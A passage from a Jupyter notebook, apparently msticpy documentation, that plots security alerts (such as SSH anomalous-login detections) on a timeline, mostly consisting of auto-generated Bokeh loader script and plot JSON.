none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;None,</div></div><div class=\"1751\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto')</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"1752\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"1751\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Column(id='1528', ...)"
      ]
     },
     "execution_count": 27,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Get some data to plot\n",
    "alert_df = qry_prov.SecurityAlert.list_alerts()\n",
    "# Plot these values on a timeline based on when they were generated\n",
    "alert_df.mp_plot.timeline(source_columns=[\"AlertName\"])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Its also possible to group events by a column to show them as seperate rows in the timeline. This is done by passing the column you want to split on as `group_by` - below we are grouping by the alert severity.\n",
    "\n",
    "There are also many other ways to customize this timeline. Please read the [full documentation](https://msticpy.readthedocs.io/en/latest/msticpy.nbtools.html#msticpy.nbtools.timeline.display_timeline) to see a list of options."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1753\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1753\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1753\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"3f131fff-5860-4540-ad77-54eba91a4881\" data-root-id=\"1870\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"a69784ae-ac09-407f-b4b5-f93177a430a1\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1759\"},{\"id\":\"1791\"}]},\"id\":\"1870\",\"type\":\"Column\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1792\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1842\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1851\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1843\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1757\"},\"glyph\":{\"id\":\"1863\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1865\"},\"nonselection_glyph\":{\"id\":\"1864\"},\"view\":{\"id\":\"1867\"}},\"id\":\"1866\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1902\"},{\"id\":\"1903\"},{\"id\":\"1904\"},{\"id\":\"1905\"},{\"id\":\"1906\"},{\"id\":\"1907\"},{\"id\":\"1908\"},{\"id\":\"1909\"},{\"id\":\"1910\"},{\"id\":\"1911\"},{\"id\":\"1912\"},{\"id\":\"1913\"}]},\"id\":\"1803\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1754\"},\"glyph\":{\"id\":\"1811\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1813\"},\"nonselection_glyph\":{\"id\":\"1812\"},\"view\":{\"id\":\"1815\"}},\"id\":\"1814\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis\":{\"id\":\"1802\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1805\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"1754\"}},\"id\":\"1815\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1808\"},\"group\":null,\"major_label_policy\":{\"id\":\"1879\"},\"ticker\":{\"id\":\"1803\"}},\"id\":\"1802\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1811\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1800\",\"type\":\"LinearScale\"},{\"attributes\":{\"active_multi\":{\"id\":\"1834\"},\"tools\":[{\"id\":\"1834\"}]},\"id\":\"1806\",\"type\":\"Toolbar\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1755\"},\"glyph\":{\"id\":\"1849\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1851\"},\"nonselection_glyph\":{\"id\":\"1850\"},\"view\":{\"id\":\"1853\"}},\"id\":\"1852\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"label\":{\"value\":\"Low\"},\"renderers\":[{\"id\":\"1859\"}]},\"id\":\"1861\",\"type\":\"LegendItem\"},{\"attributes\":{\"below\":[{\"id\":\"1802\"},{\"id\":\"1807\"}],\"center\":[{\"id\":\"1805\"}],\"height\":120,\"renderers\":[{\"id\":\"1814\"},{\"id\":\"1820\"},{\"id\":\"1826\"},{\"id\":\"1832\"}],\"title\":{\"id\":\"1792\"},\"toolbar\":{\"id\":\"1806\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1794\"},\"x_scale\":{\"id\":\"1798\"},\"y_range\":{\"id\":\"1796\"},\"y_scale\":{\"id\":\"1800\"}},\"id\":\"1791\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1858\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"1757\"}},\"id\":\"1867\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_color\":{\"value\":\"#30678D\"},\"hatch_color\":{\"value\":\"#30678D\"},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1817\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1881\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"1756\"}},\"id\":\"1860\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1875\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1812\",\"type\":\"Circle\"},{\"attributes\":{\"label\":{\"value\":\"Informational\"},\"renderers\":[{\"id\":\"1852\"}]},\"id\":\"1854\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1818\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1874\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1865\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1813\",\"type\":\"Circle\"},{\"attributes\":{\"label\":{\"value\":\"Medium\"},\"renderers\":[{\"id\":\"1866\"}]},\"id\":\"1868\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1856\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1863\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1877\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1849\",\"type\":\"Scatter\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Suspicious Activity Detected\",\"Suspicious system process executed\"],\"TimeGenerated\":{\"__ndarray__\":\"AABpfS2PdkIAAOeXvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[24,36],\"y_index\":[3,3]},\"selected\":{\"id\":\"1887\"},\"selection_policy\":{\"id\":\"1886\"}},\"id\":\"1757\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1864\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1906\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1819\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1909\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1908\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1857\",\"type\":\"Scatter\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"],[\"AlertName\",\"@AlertName\"]]},\"id\":\"1758\",\"type\":\"HoverTool\"},{\"attributes\":{\"source\":{\"id\":\"1755\"}},\"id\":\"1853\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1903\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1850\",\"type\":\"Scatter\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1902\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1756\"},\"glyph\":{\"id\":\"1856\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1858\"},\"nonselection_glyph\":{\"id\":\"1857\"},\"view\":{\"id\":\"1860\"}},\"id\":\"1859\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1905\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1907\",\"type\":\"DaysTicker\"},{\"attributes\":{\"label\":{\"value\":\"High\"},\"renderers\":[{\"id\":\"1845\"}]},\"id\":\"1847\",\"type\":\"LegendItem\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1904\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1910\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1886\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Event Timeline\"},\"id\":\"1760\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"1913\",\"type\":\"YearsTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1756\"},\"glyph\":{\"id\":\"1823\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1825\"},\"nonselection_glyph\":{\"id\":\"1824\"},\"view\":{\"id\":\"1827\"}},\"id\":\"1826\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1912\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1830\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1768\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1887\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1911\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1829\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1879\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"1757\"}},\"id\":\"1833\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1824\",\"type\":\"Circle\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1839\"},\"group\":null,\"major_label_policy\":{\"id\":\"1877\"},\"ticker\":{\"id\":\"1771\"}},\"id\":\"1770\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":1550546937300.0,\"start\":1550082881700.0},\"id\":\"1762\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"1756\"}},\"id\":\"1827\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1766\",\"type\":\"LinearScale\"},{\"attributes\":{\"below\":[{\"id\":\"1770\"}],\"center\":[{\"id\":\"1773\"},{\"id\":\"1777\"}],\"height\":300,\"left\":[{\"id\":\"1774\"},{\"id\":\"1869\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1845\"},{\"id\":\"1852\"},{\"id\":\"1859\"},{\"id\":\"1866\"}],\"title\":{\"id\":\"1760\"},\"toolbar\":{\"id\":\"1784\"},\"width\":900,\"x_range\":{\"id\":\"1762\"},\"x_scale\":{\"id\":\"1766\"},\"y_range\":{\"id\":\"1764\"},\"y_scale\":{\"id\":\"1768\"}},\"id\":\"1759\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"data\":{\"AlertName\":[\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login 